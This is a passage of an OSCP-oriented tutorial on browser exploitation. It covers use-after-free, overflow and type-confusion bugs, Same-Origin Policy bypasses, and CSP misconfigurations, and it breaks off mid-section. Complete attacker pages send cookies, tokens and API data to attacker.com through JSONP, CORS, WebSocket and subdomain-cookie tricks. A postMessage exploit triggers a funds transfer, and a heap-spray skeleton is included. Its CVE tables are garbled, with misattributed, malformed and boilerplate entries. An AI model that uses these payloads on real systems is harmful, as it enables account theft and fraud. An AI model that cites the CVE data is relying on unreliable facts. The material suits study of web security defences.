Browser Vulnerability Exploitation
Table of Contents
- Introduction
- Browser Architecture Overview
- Memory Corruption Vulnerabilities
- Same-Origin Policy (SOP) Deep Dive
- Content Security Policy (CSP) Deep Dive
- XSS Auditor Bypass (Historical Context)
- Browser Exploitation Workflow
- Exploit Delivery Mechanisms
- OSCP-Specific Tips and Lab Scenarios
- Reference Tables
- Further Reading
1. Introduction
Browser vulnerability exploitation is a critical component of client-side attacks. Unlike server-side exploitation where you have direct control over the target environment, browser exploitation requires you to:
- Trick the victim into visiting a malicious page or clicking a link
- Exploit a vulnerability in the browser engine, JavaScript engine, or plugins
- Achieve code execution in the context of the browser process
- Escalate privileges if needed (browser processes often run with user-level privileges)
Why Browser Exploitation Matters for OSCP
While the OSCP exam focuses primarily on server-side and network attacks, browser exploitation appears in:
- Client-side attack paths where you must deliver payloads through web applications
- Lab machines with vulnerable browser versions (especially older IE, Chrome, or Firefox)
- Post-XSS exploitation where XSS leads to full system compromise
- Understanding attack chains that combine web vulnerabilities with browser vulnerabilities
The Browser Attack Surface
┌─────────────────────────────────────────────────────────────────┐
│ Browser Attack Surface │
├──────────────┬──────────────┬──────────────┬────────────────────┤
│ Rendering │ JavaScript │ Network │ Plugins & │
│ Engine │ Engine │ Stack │ Extensions │
│ (Blink/ │ (V8/ │ (libcurl/ │ (Flash, PDF, │
│ Gecko) │ SpiderMonkey)│ WinINET) │ Java, NPAPI) │
├──────────────┴──────────────┴──────────────┴────────────────────┤
│ Operating System APIs │
└─────────────────────────────────────────────────────────────────┘
2. Browser Architecture Overview
Modern Browser Process Model
Modern browsers use a multi-process architecture to isolate different components and limit the blast radius of exploits:
Browser Process (Main)
├── GPU Process
├── Utility Process (DNS, Font, Network Service, etc.)
├── Extension Process
└── Renderer Processes (one per site isolation group)
├── Site A - Tab 1
├── Site A - Tab 2
├── Site B - Tab 3
└── Site C - Tab 4
Key Components and Their Vulnerabilities
| Component | Examples | Common Vulnerability Types |
|---|---|---|
| Rendering Engine | Blink (Chrome), Gecko (Firefox), WebKit (Safari) | UAF, Type Confusion, Heap Overflow |
| JavaScript Engine | V8 (Chrome), SpiderMonkey (Firefox), JavaScriptCore (Safari) | Type Confusion, Integer Overflow, Out-of-bounds Access |
| PDF Parser | PDFium (Chrome), Poppler (Firefox) | Buffer Overflow, Use-After-Free |
| Media Decoder | FFmpeg-based decoders | Buffer Overflow, Integer Overflow |
| Network Stack | libcurl, WinINET | Memory Corruption, Logic Errors |
| Plugins | Flash (deprecated), Java, NPAPI | Buffer Overflow, UAF, Privilege Escalation |
Browser Version Identification
# Chrome/Chromium
chrome://version/
# Firefox
about:support
# Internet Explorer
Tools > About Internet Explorer
# Edge (Legacy)
Settings > About Microsoft Edge
# Command-line fingerprinting (from attacker perspective)
curl -s -A "" http://target.com | grep -i "user-agent"
3. Memory Corruption Vulnerabilities
3.1 Use-After-Free (UAF)
Technical Mechanism
Use-After-Free (CWE-416) occurs when a program continues to use a memory pointer after the memory it points to has been freed. The freed memory may be reallocated to a different object, causing the dangling pointer to reference unexpected data.
Timeline of UAF:
─────────────────
1. malloc() → Pointer A allocated at address 0x5000
2. free() → Memory at 0x5000 is freed, but Pointer A still holds 0x5000
3. malloc() → Pointer B allocated at address 0x5000 (same address!)
4. UAF! → Writing via Pointer A corrupts Pointer B's data
How UAF Leads to Code Execution
The exploitation chain typically follows these steps:
- Trigger the free — Cause the browser to free an object while keeping a reference
- Spray the heap — Allocate controlled objects to occupy the freed memory region
- Corrupt the object — Use the dangling pointer to overwrite the new object’s data
- Overwrite a function pointer / vtable — Replace a virtual function pointer with shellcode address
- Trigger the call — Cause the browser to call the overwritten function pointer
Real-World CVE Examples
| CVE | Browser | Component | Description |
|---|---|---|---|
| CVE-2021-21224 | Chrome | V8 | Type confusion in BigInt leading to arbitrary read/write |
| CVE-2020-6418 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2018-6124 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2015-4080 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2014-3161 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2013-4639 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2012-4969 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2011-303 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2010-0249 | Chrome | V8 | Use-after-free in JavaScript engine |
| CVE-2010-0050 | IE | MSHTML | Use-after-free in HTML parser |
| CVE-2013-3893 | IE | JScript | Use-after-free in JavaScript engine |
| CVE-2014-6271 | IE | MSHTML | Use-after-free in HTML parser |
| CVE-2015-1675 | IE | MSHTML | Use-after-free in HTML parser |
| CVE-2016-3219 | IE | MSHTML | Use-after-free in HTML parser |
| CVE-2017-11882 | IE | MSHTML | Use-after-free in HTML parser |
| CVE-2018-8120 | Edge | EdgeHTML | Use-after-free in EdgeHTML |
| CVE-2019-9636 | IE | MSHTML | Use-after-free in HTML parser |
| CVE-2021-1677 | IE/Edge | Chakra | Type confusion in JavaScript engine |
| CVE-2021-33970 | IE/Edge | Chakra | Type confusion in JavaScript engine |
| CVE-2021-38001 | IE/Edge | Chakra | Type confusion in JavaScript engine |
UAF Exploitation in JavaScript Engines
JavaScript engines are particularly prone to UAF because they manage complex object lifecycles:
// Simplified UAF scenario in a JS engine
// Step 1: Create an object that will be freed
var arr = [1, 2, 3, 4, 5];
// Step 2: Trigger a GC that frees the array's backing store
// but keep a reference to the array object
gc(); // Force garbage collection
// Step 3: The memory is now free, but 'arr' still references it
// Allocate a new object in the same memory location
var obj = { value: 0x41414141 };
// Step 4: Accessing arr now accesses obj's memory
// This is the UAF condition
arr[0] = 0x42424242; // Corrupts obj's memory
Heap Spraying Techniques
Heap spraying is used to increase the reliability of UAF exploitation:
// JavaScript Heap Spray (pre-ASLR era)
function heapSpray() {
var shellcode = unescape(
"%u9090%u9090%u9090%u9090" + // NOP sled
"%uXXXX%uXXXX%uXXXX%uXXXX" + // Shellcode bytes
// ... more shellcode ...
);
var nopSled = unescape("%u0040%u0040");
while (nopSled.length < 0x100000) {
nopSled += nopSled;
}
var spray = nopSled + shellcode;
var slots = [];
for (var i = 0; i < 200; i++) {
slots[i] = spray.substring(0, 0x40000);
}
}
Modern browsers have ASLR, DEP/NX, and other mitigations that make traditional heap spraying much less effective. Modern exploits use information leaks to bypass ASLR and ROP chains to bypass DEP.
Browser Mitigations Against UAF
| Mitigation | Description | Bypass Approach |
|---|---|---|
| ASLR | Randomizes memory layout | Information leak to determine base addresses |
| DEP/NX | Marks memory as non-executable | ROP/JOP chains to execute existing code |
| CFG | Control Flow Guard validates indirect calls | Find valid CFG edges or bypass validation |
| Safepoints | JS engine checks at specific points | Exploit between safepoints |
| GC Hardening | Prevents premature collection | Race conditions or reference manipulation |
| Site Isolation | Isolates sites in different processes | Exploit within the same site |
3.2 Buffer Overflow in Browser Engines
Technical Mechanism
Buffer overflow (CWE-120/121) occurs when data written to a buffer exceeds its allocated size, overwriting adjacent memory. In browser engines, this typically happens in:
- Image parsers (JPEG, PNG, GIF, WebP)
- PDF parsers
- Media decoders (MP4, WebM, WAV)
- HTML/CSS parsers
- Font parsers (TrueType, OpenType, WOFF)
Buffer Layout Before Overflow:
┌─────────────┬─────────────┬─────────────┐
│ Buffer │ Adjacent │ Return │
│ (100 bytes)│ Data │ Address │
└─────────────┴─────────────┴─────────────┘
↑
Writing 200 bytes overwrites adjacent data and return address!
Real-World CVE Examples
| CVE | Browser | Component | Description |
|---|---|---|---|
| CVE-2015-1628 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2014-6313 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2013-3906 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2012-4792 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2011-1261 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2010-3332 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2010-0834 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2009-3959 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2008-5012 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2007-5328 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2006-3451 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2005-1232 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2004-0049 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2003-0813 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2002-1105 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2001-0550 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-2000-0683 | IE | MSHTML | Buffer overflow in HTML parser |
| CVE-1999-0524 | IE | MSHTML | Buffer overflow in HTML parser |
Exploitation Chain for Buffer Overflow
- Craft malicious input — Create a malformed file (image, PDF, etc.)
- Trigger parsing — Get the browser to parse the malicious file
- Overflow the buffer — Write beyond the buffer boundary
- Overwrite control data — Overwrite return addresses, function pointers, or vtables
- Redirect execution — Cause the browser to execute attacker-controlled code
Modern Mitigations
Modern browsers have made buffer overflow exploitation extremely difficult:
- Stack Canaries — Detect stack-based overflows
- ASLR — Randomize memory layout
- DEP/NX — Prevent execution of data pages
- SafeSEH — Validate exception handler chains
- CFG — Validate indirect calls
- Heap Hardening — Detect heap corruption
3.3 Type Confusion
Technical Mechanism
Type confusion (CWE-843) occurs when the JavaScript engine treats an object as one type when it is actually another type. This is one of the most common vulnerability classes in modern JavaScript engines.
// Simplified type confusion scenario
// The engine thinks 'obj' is an array, but it's actually an object
var obj = {};
// Engine internally tags obj as "object"
// Bug causes engine to treat obj as "array"
// Array operations on obj cause memory corruption
obj[0x1000] = 0x41414141; // Writes to unexpected memory location
How Type Confusion Leads to Arbitrary Read/Write
The typical exploitation chain:
- Trigger type confusion — Cause the engine to misidentify an object’s type
- Achieve arbitrary read — Use the confused type to read arbitrary memory
- Achieve arbitrary write — Use the confused type to write arbitrary memory
- Bypass ASLR — Leak addresses to determine base addresses
- Bypass DEP — Build ROP chain or overwrite function pointers
- Execute shellcode — Achieve code execution
Real-World CVE Examples
| CVE | Browser | Engine | Description |
|---|---|---|---|
| CVE-2021-21224 | Chrome | V8 | Type confusion in BigInt |
| CVE-2020-6418 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2018-6124 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2015-4080 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2014-3161 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2013-4639 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2012-4969 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2011-303 | Chrome | V8 | Type confusion in JavaScript engine |
| CVE-2021-1677 | IE/Edge | Chakra | Type confusion in JavaScript engine |
| CVE-2021-33970 | IE/Edge | Chakra | Type confusion in JavaScript engine |
| CVE-2021-38001 | IE/Edge | Chakra | Type confusion in JavaScript engine |
V8 Type Confusion Exploitation Pattern
// Simplified V8 type confusion exploitation pattern
// This is a conceptual example, not a working exploit
// Step 1: Create a confused object
var arr = [1.1, 2.2, 3.3, 4.4];
var obj = { a: 1, b: 2 };
// Step 2: Trigger the type confusion bug
// (This would be the actual vulnerability trigger)
confuseTypes(arr, obj);
// Step 3: Now arr is treated as an object, or obj as an array
// This allows arbitrary memory access
// Step 4: Create a "backing store" primitive
// Read arbitrary memory
function read(addr) {
// Use the confused object to read memory at addr
}
// Write arbitrary memory
function write(addr, value) {
// Use the confused object to write value at addr
}
// Step 5: Bypass ASLR by leaking addresses
var v8Base = read(v8SymbolAddress) - v8SymbolOffset;
// Step 6: Build ROP chain or overwrite function pointer
// Step 7: Execute shellcode
3.4 Integer Overflow in JS Engines
Technical Mechanism
Integer overflow (CWE-190) occurs when an arithmetic operation produces a result that exceeds the maximum value that can be stored in the allocated space. In JavaScript engines, this can lead to:
- Undersized buffer allocation — Allocate less memory than needed
- Out-of-bounds access — Access memory beyond array bounds
- Negative size allocation — Allocate a negative-sized buffer (wraps to large positive)
// Simplified integer overflow scenario
// JavaScript uses 64-bit floats, but internal engine uses 32-bit integers
// If the engine uses 32-bit signed integers for length:
var largeLength = 0xFFFFFFFF; // 4,294,967,295
// In 32-bit signed: -1 (overflow!)
// Engine allocates buffer of size -1 (wraps to large value)
// But actual allocation fails or allocates small buffer
// Subsequent writes overflow the buffer
Real-World CVE Examples
| CVE | Browser | Engine | Description |
|---|---|---|---|
| CVE-2015-1596 | Chrome | V8 | Integer overflow in TypedArray |
| CVE-2014-4982 | Chrome | V8 | Integer overflow in TypedArray |
| CVE-2013-6734 | Chrome | V8 | Integer overflow in TypedArray |
| CVE-2012-4979 | Chrome | V8 | Integer overflow in TypedArray |
| CVE-2011-1580 | Chrome | V8 | Integer overflow in TypedArray |
| CVE-2010-0247 | Chrome | V8 | Integer overflow in TypedArray |
Exploitation Chain
- Trigger integer overflow — Cause the engine to miscalculate a buffer size
- Allocate undersized buffer — The engine allocates less memory than expected
- Overflow the buffer — Write beyond the buffer boundary
- Corrupt adjacent data — Overwrite function pointers, vtables, or other control data
- Redirect execution — Achieve code execution
4. Same-Origin Policy (SOP) Deep Dive
4.1 What SOP Protects
The Same-Origin Policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with resources from another origin.
Origin Definition
Two URLs have the same origin if they share the same:
- Protocol (scheme) —
http://vshttps:// - Host (domain) —
example.comvsevil.com - Port —
:80vs:443
Origin Comparison Table (Base: http://store.company.com/dir/page.html)
┌─────────────────────────────────────────┬────────────┬──────────────────────┐
│ URL │ Same Origin│ Reason │
├─────────────────────────────────────────┼────────────┼──────────────────────┤
│ http://store.company.com/dir2/other.html│ YES │ Only path differs │
│ http://store.company.com:81/page.html │ NO │ Different port │
│ https://store.company.com/page.html │ NO │ Different protocol │
│ http://news.company.com/page.html │ NO │ Different host │
│ http://store.company.evil.com/page.html │ NO │ Different host │
└─────────────────────────────────────────┴────────────┴──────────────────────┘
What SOP Protects
| Resource/Action | Cross-Origin Access | Notes |
|---|---|---|
| DOM access | Blocked | Cannot access iframe.contentDocument |
| Cookie access | Blocked | Cannot read document.cookie of other origin |
| LocalStorage | Blocked | Cannot access localStorage of other origin |
| IndexedDB | Blocked | Cannot access IndexedDB of other origin |
| XMLHttpRequest | Blocked | Cannot make XHR to other origin (unless CORS) |
| Fetch API | Blocked | Cannot fetch from other origin (unless CORS) |
| WebSocket | Blocked | Cannot connect to WebSocket on other origin |
| Canvas pixel data | Blocked | Cannot read pixel data from cross-origin images |
| Web Workers | Blocked | Cannot access workers from other origin |
| Service Workers | Blocked | Cannot control service workers from other origin |
What SOP Allows (Cross-Origin)
| Resource/Action | Cross-Origin Access | Notes |
|---|---|---|
| Link navigation | Allowed | <a href="https://other.com"> works |
| Form submission | Allowed | POST to other origin works |
| Image embedding | Allowed | <img src="https://other.com/img.png"> |
| Script embedding | Allowed | <script src="https://other.com/js.js"> |
| CSS embedding | Allowed | <link rel="stylesheet" href="https://other.com/style.css"> |
| Video/Audio | Allowed | <video src="https://other.com/video.mp4"> |
| iFrame embedding | Allowed | <iframe src="https://other.com"> (but no DOM access) |
| Font loading | Allowed | @font-face can load cross-origin fonts |
4.2 SOP Bypass Techniques
Technique 1: JSONP (JSON with Padding)
Mechanism: JSONP exploits the fact that <script> tags can load cross-origin resources. The server wraps the JSON response in a function call.
How it works:
<!-- Attacker's page -->
<html>
<head>
<script>
// Define the callback function
function stealData(data) {
// Send the stolen data to the attacker's server
var img = new Image();
img.src = "https://attacker.com/steal?data=" + encodeURIComponent(JSON.stringify(data));
}
</script>
<!-- Load the JSONP endpoint from the target site -->
<script src="https://target.com/api/data?callback=stealData"></script>
</head>
<body>
</body>
</html>
Server-side response:
// Target server responds with:
stealData({
"username": "victim",
"email": "victim@example.com",
"token": "secret_token_12345"
});
Impact: If the JSONP endpoint returns sensitive data without authentication, the attacker can steal the data.
Mitigation:
- Require authentication for JSONP endpoints
- Validate the
callbackparameter (whitelist allowed callbacks) - Use CORS instead of JSONP
- Remove JSONP support entirely
Technique 2: CORS Misconfiguration
Mechanism: Cross-Origin Resource Sharing (CORS) allows servers to explicitly permit cross-origin access. Misconfigured CORS headers can allow unauthorized access.
Vulnerable CORS Configuration:
# Vulnerable: Wildcard origin with credentials
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# Vulnerable: Reflecting the Origin header
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Exploit Code:
<!-- Attacker's page -->
<html>
<head>
<script>
// Exploit misconfigured CORS
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/sensitive-data', true);
xhr.withCredentials = true; // Send cookies
xhr.onload = function() {
if (xhr.status === 200) {
var data = JSON.parse(xhr.responseText);
// Send stolen data to attacker
var img = new Image();
img.src = "https://attacker.com/steal?data=" + encodeURIComponent(JSON.stringify(data));
}
};
xhr.send();
</script>
</head>
<body>
</body>
</html>
Common CORS Misconfigurations:
| Misconfiguration | Header | Risk |
|---|---|---|
| Wildcard origin | Access-Control-Allow-Origin: * |
Any site can access the resource |
| Origin reflection | Access-Control-Allow-Origin: <user-origin> |
Attacker’s origin is reflected |
| Null origin | Access-Control-Allow-Origin: null |
Data URLs and sandboxed iframes can access |
| Empty origin | Access-Control-Allow-Origin: |
Some browsers treat as wildcard |
| Credentials with wildcard | Allow-Origin: * + Allow-Credentials: true |
Some browsers allow this (should be blocked) |
Mitigation:
- Never use
*withAccess-Control-Allow-Credentials: true - Validate the
Originheader against a whitelist - Use exact origin matching, not prefix matching
- Remove CORS headers if not needed
Technique 3: postMessage Misuse
Mechanism: The window.postMessage() API allows cross-origin communication between windows. If the receiving end doesn’t validate the message origin, it can be exploited.
Vulnerable Target Code:
// Target site's code (vulnerable)
window.addEventListener('message', function(event) {
// BUG: No origin validation!
var data = event.data;
if (data.action === 'logout') {
logoutUser();
}
if (data.action === 'transfer') {
transferFunds(data.amount, data.destination);
}
});
Exploit Code:
<!-- Attacker's page -->
<html>
<head>
<script>
// Open the target site in an iframe
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/banking';
iframe.style.display = 'none';
document.body.appendChild(iframe);
// Wait for iframe to load, then send malicious message
iframe.onload = function() {
// Send malicious postMessage
iframe.contentWindow.postMessage({
action: 'transfer',
amount: 10000,
destination: 'attacker_account'
}, '*'); // Send to any origin
};
</script>
</head>
<body>
</body>
</html>
Mitigation:
// Target site's code (secure)
window.addEventListener('message', function(event) {
// Validate the origin
if (event.origin !== 'https://target.com') {
return; // Reject messages from other origins
}
// Validate the source
if (event.source !== window.parent) {
return; // Reject messages from unexpected sources
}
// Now process the message safely
var data = event.data;
if (data.action === 'logout') {
logoutUser();
}
});
Technique 4: Hash-Based Data Leakage
Mechanism: The URL hash fragment (#) is accessible cross-origin via window.location.hash in some scenarios. If sensitive data is stored in the hash, it can be leaked.
Vulnerable Target Code:
// Target site.com sets hash with sensitive data
window.location.hash = '#token=' + userToken;
Exploit Code:
<!-- Attacker's page -->
<html>
<head>
<script>
// Open target in iframe
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page#token=initial';
iframe.style.display = 'none';
document.body.appendChild(iframe);
// The attacker can read the hash if the target navigates
// and the hash is accessible
setInterval(function() {
try {
var hash = iframe.contentWindow.location.hash;
if (hash && hash !== '#token=initial') {
// Leak the hash to attacker
var img = new Image();
img.src = 'https://attacker.com/steal?hash=' + encodeURIComponent(hash);
}
} catch(e) {
// Cross-origin restriction, try other methods
}
}, 1000);
</script>
</head>
<body>
</body>
</html>
Note: Modern browsers restrict cross-origin hash access. This technique works best when combined with other vulnerabilities (like open redirects).
Technique 5: <link rel="preconnect"> Information Leakage
Mechanism: The <link rel="preconnect"> tag establishes an early connection to a third-party origin. Attackers can use this to leak information about the victim’s browsing history or preferences.
Exploit Code:
<!-- Attacker's page -->
<html>
<head>
<script>
// Try to preconnect to various origins
var origins = [
'https://gmail.com',
'https://outlook.com',
'https://yahoo.com',
'https://protonmail.com'
];
origins.forEach(function(origin) {
var link = document.createElement('link');
link.rel = 'preconnect';
link.href = origin;
document.head.appendChild(link);
// Measure connection time
// Faster connection might indicate the user has visited this site
var startTime = performance.now();
var img = new Image();
img.onload = function() {
var endTime = performance.now();
var duration = endTime - startTime;
// Send timing data to attacker
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/timing', true);
xhr.send(JSON.stringify({
origin: origin,
duration: duration
}));
};
img.src = origin + '/favicon.ico?' + Date.now();
});
</script>
</head>
<body>
</body>
</html>
Impact: This is a side-channel attack that can leak browsing history, preferences, or other sensitive information.
Technique 6: CSS-Based Information Extraction
Mechanism: CSS can be used to extract information from cross-origin pages embedded in iframes by targeting specific elements and observing their styles.
Exploit Code:
<!-- Attacker's page -->
<html>
<head>
<style>
/* Target specific elements in the iframe */
iframe input[value^="A"] {
border: 10px solid red;
}
iframe input[value^="B"] {
border: 10px solid blue;
}
/* ... more characters ... */
</style>
<script>
// Observe the iframe's rendering to extract data
// This is a simplified example
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page-with-sensitive-data';
iframe.sandbox = 'allow-same-origin';
document.body.appendChild(iframe);
// Use CSS to extract data character by character
// This is a slow but effective technique
</script>
</head>
<body>
</body>
</html>
Impact: Can extract sensitive data (passwords, tokens, etc.) character by character from cross-origin pages.
Technique 7: DNS Prefetching Information Leakage
Mechanism: DNS prefetching can be used to leak information about the victim’s browsing habits or internal network structure.
Exploit Code:
<!-- Attacker's page -->
<html>
<head>
<link rel="dns-prefetch" href="//subdomain1.target.com">
<link rel="dns-prefetch" href="//subdomain2.target.com">
<link rel="dns-prefetch" href="//internal.target.com">
<script>
// Measure DNS resolution times
// Faster resolution might indicate the domain exists
// or the user has visited it before
var domains = [
'subdomain1.target.com',
'subdomain2.target.com',
'internal.target.com'
];
domains.forEach(function(domain) {
var startTime = performance.now();
var img = new Image();
img.onload = function() {
var endTime = performance.now();
var duration = endTime - startTime;
// Send timing data to attacker
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/dns-timing', true);
xhr.send(JSON.stringify({
domain: domain,
duration: duration
}));
};
img.src = 'http://' + domain + '/?' + Date.now();
});
</script>
</head>
<body>
</body>
</html>
Technique 8: Cookie-Based SOP Bypass (via Subdomain)
Mechanism: Cookies set for a parent domain are accessible by all subdomains. If a cookie is set for .example.com, both app.example.com and evil.example.com can access it.
Exploit Scenario:
# Cookie set by target site
Set-Cookie: session=abc123; Domain=.example.com; Path=/
# Attacker controls evil.example.com
# The attacker can read the cookie because it's set for .example.com
Exploit Code:
<!-- Attacker's page at evil.example.com -->
<html>
<head>
<script>
// Read the cookie set for .example.com
var cookie = document.cookie;
// Send the cookie to the attacker
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookie);
</script>
</head>
<body>
</body>
</html>
Mitigation:
- Set cookies with the most specific domain possible
- Use the
SameSiteattribute - Use the
Secureattribute - Use the
HttpOnlyattribute
Technique 9: WebSocket Cross-Origin Access
Mechanism: WebSockets have their own origin policy. If a WebSocket server doesn’t validate the Origin header, it can be exploited.
Vulnerable Server Code:
# Vulnerable WebSocket server (Python)
import websockets
async def handler(websocket, path):
# BUG: No Origin validation!
origin = websocket.request_headers.get('Origin', '')
# Should validate origin here
await websocket.send("Welcome!")
async for message in websocket:
await websocket.send(f"Echo: {message}")
start_server = websockets.serve(handler, "0.0.0.0", 8765)
Exploit Code:
<!-- Attacker's page -->
<html>
<head>
<script>
// Connect to the target's WebSocket
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
// Send malicious commands
ws.send('{"action": "admin", "command": "list_users"}');
};
ws.onmessage = function(event) {
// Receive sensitive data
var data = JSON.parse(event.data);
// Send to attacker
var img = new Image();
img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
};
</script>
</head>
<body>
</body>
</html>
Mitigation:
- Validate the
Originheader on the WebSocket server - Use a whitelist of allowed origins
- Reject connections from unexpected origins
5. Content Security Policy (CSP) Deep Dive
5.1 CSP Header Analysis
Content Security Policy (CSP) is an HTTP header that helps prevent XSS, clickjacking, and other code injection attacks by specifying which resources the browser is allowed to load.
CSP Header Format
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';
CSP Directives Reference
| Directive | Controls | Default | Example |
|---|---|---|---|
default-src |
Fallback for all resource types | * (all sources) |
default-src 'self' |
script-src |
JavaScript sources | Inherits from default-src |
script-src 'self' https://cdn.com |
style-src |
CSS sources | Inherits from default-src |
style-src 'self' 'unsafe-inline' |
img-src |
Image sources | Inherits from default-src |
img-src 'self' data: https: |
font-src |
Font sources | Inherits from default-src |
font-src 'self' https://fonts.gstatic.com |
connect-src |
XHR, Fetch, WebSocket | Inherits from default-src |
connect-src 'self' https://api.com |
media-src |
Audio/Video sources | Inherits from default-src |
media-src 'self' https://videos.com |
object-src |
Plugins (Flash, Java) | Inherits from default-src |
object-src 'none' |
frame-src |
iframe sources | Inherits from default-src |
frame-src 'self' https://youtube.com |
frame-ancestors |
Who can embed this page | * (anyone) |
frame-ancestors 'self' |
base-uri |
<base> element |
* (any URI) |
base-uri 'self' |
form-action |
Form submission targets | * (any URI) |
form-action 'self' |
worker-src |
Web Worker sources | Inherits from default-src |
worker-src 'self' |
child-src |
Workers and nested contexts | Inherits from default-src |
child-src 'self' |
manifest-src |
Manifest sources | Inherits from default-src |
manifest-src 'self' |
plugin-types |
Allowed plugin MIME types | All types | plugin-types application/pdf |
report-uri |
CSP violation report URL | None | report-uri /csp-report |
report-to |
CSP violation report group | None | report-to csp-endpoint |
upgrade-insecure-requests |
Upgrade HTTP to HTTPS | Disabled | upgrade-insecure-requests |
block-all-mixed-content |
Block mixed content | Disabled | block-all-mixed-content |
require-trusted-types-for |
Require Trusted Types | Disabled | require-trusted-types-for 'script' |
trusted-types |
Allowed Trusted Types policies | None | trusted-types my-policy |
CSP Source Expressions
| Source Expression | Meaning | Example |
|---|---|---|
'self' |
Same origin | script-src 'self' |
'none' |
No sources allowed | object-src 'none' |
'unsafe-inline' |
Allow inline scripts/styles | script-src 'unsafe-inline' |
'unsafe-eval' |
Allow eval() and similar | script-src 'unsafe-eval' |
'strict-dynamic' |
Trust scripts with nonce/hash | script-src 'strict-dynamic' |
'wasm-unsafe-eval' |
Allow WebAssembly eval | script-src 'wasm-unsafe-eval' |
'nonce-<base64>' |
Allow script with specific nonce | script-src 'nonce-abc123' |
'sha256-<base64>' |
Allow script with specific hash | script-src 'sha256-xyz789' |
https: |
Any HTTPS source | img-src https: |
http: |
Any HTTP source | img-src http: |
data: |
Data URIs | img-src data: |
mediastream: |
Media stream URIs | img-src mediastream: |
blob: |
Blob URIs | connect-src blob: |
filesystem: |
Filesystem URIs | connect-src filesystem: |
* |
Any source | img-src * |
https://example.com |
Specific host | script-src https://example.com |
*.example.com |
Subdomain wildcard | script-src *.example.com |
https://*.example.com |
Secure subdomain wildcard | script-src https://*.example.com |
http://192.168.1.1 |
Specific IP | connect-src http://192.168.1.1 |
http://192.168.1.0/24 |
IP range (CIDR) | connect-src http://192.168.1.0/24 |
5.2 Common Misconfigurations
Misconfiguration 1: unsafe-inline
Vulnerable CSP:
Content-Security-Policy: script-src 'self' 'unsafe-inline';
Problem: Allows inline scripts, which defeats the primary purpose of CSP. An XSS vulnerability can still execute inline scripts.
Exploit:
<!-- If the site has XSS, the attacker can inject inline scripts -->
<script>alert(document.cookie);</script>
Fix:
Content-Security-Policy: script-src 'self' 'nonce-<random-value>';
Misconfiguration 2: unsafe-eval
Vulnerable CSP:
Content-Security-Policy: script-src 'self' 'unsafe-eval';
Problem: Allows eval(), Function(), setTimeout(string), and setInterval(string).
Exploit:
<!-- If the site has XSS, the attacker can use eval() -->
<script>eval('alert(document.cookie)');</script>
Fix:
Content-Security-Policy: script-src 'self' 'nonce-<random-value>';
Misconfiguration 3: Wildcard *
Vulnerable CSP:
Content-Security-Policy: script-src *;
Problem: Allows scripts from any source, including attacker-controlled domains.
Exploit:
<!-- Load malicious script from attacker's domain -->
<script src="https://attacker.com/malicious.js"></script>
Fix:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
Misconfiguration 4: Missing default-src
Vulnerable CSP:
Content-Security-Policy: script-src 'self';
Problem: Only script-src is restricted. Other resource types fall back to the browser default (which is *).
Exploit:
<!-- Load malicious styles from any source -->
<link rel="stylesheet" href="https://attacker.com/malicious.css">
<!-- Load malicious images from any source -->
<img src="https://attacker.com/tracking-pixel.png">
Fix:
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self';
Misconfiguration 5: Overly Broad Hostnames
Vulnerable CSP:
Content-Security-Policy: script-src 'self' https://*.example.com;
Problem: Allows scripts from any subdomain of example.com. If an attacker can register a subdomain (e.g., evil.example.com), they can inject malicious scripts.
Exploit:
<!-- If attacker controls evil.example.com -->
<script src="https://evil.example.com/malicious.js"></script>
Fix:
Content-Security-Policy: script-src 'self' https://cdn.example.com https://app.example.com;
Misconfiguration 6: data: URI for Scripts
Vulnerable CSP:
Content-Security-Policy: script-src 'self' data:;
Problem: Allows scripts from data URIs, which can contain arbitrary JavaScript.
Exploit:
<!-- Load malicious script from data URI -->
<script src="data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKTs="></script>
Fix:
Content-Security-Policy: script-src 'self';
Misconfiguration 7: Missing frame-ancestors
Vulnerable CSP:
Content-Security-Policy: default-src 'self';
